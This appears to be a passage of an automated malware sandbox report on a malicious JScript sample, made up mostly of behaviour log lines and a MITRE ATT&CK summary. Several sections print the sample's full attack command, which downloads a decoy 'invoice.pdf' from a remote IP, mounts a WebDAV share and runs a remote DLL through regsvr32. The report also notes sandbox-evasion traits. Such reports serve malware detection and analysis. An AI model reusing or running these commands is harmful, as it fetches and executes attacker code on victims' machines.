Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\4163.js.csv");ITextStream.WriteLine(" entry:7200 f:lhbevjsz");ITextStream.WriteLine(" exec:2 f:lhbevjsz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49708

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4567			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5257			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8072	Thread sleep count: 4567 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8076	Thread sleep count: 5257 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8156	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8184	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5768	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3280	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000003.1534626683.0000016F6DC1C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1539500094.0000016F6DC1C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1538769808.0000016F6DBB8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2715503566.0000015B3B658000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.1534626683.0000016F6DC1C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1539500094.0000016F6DC1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2714571614.0000015B3602B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
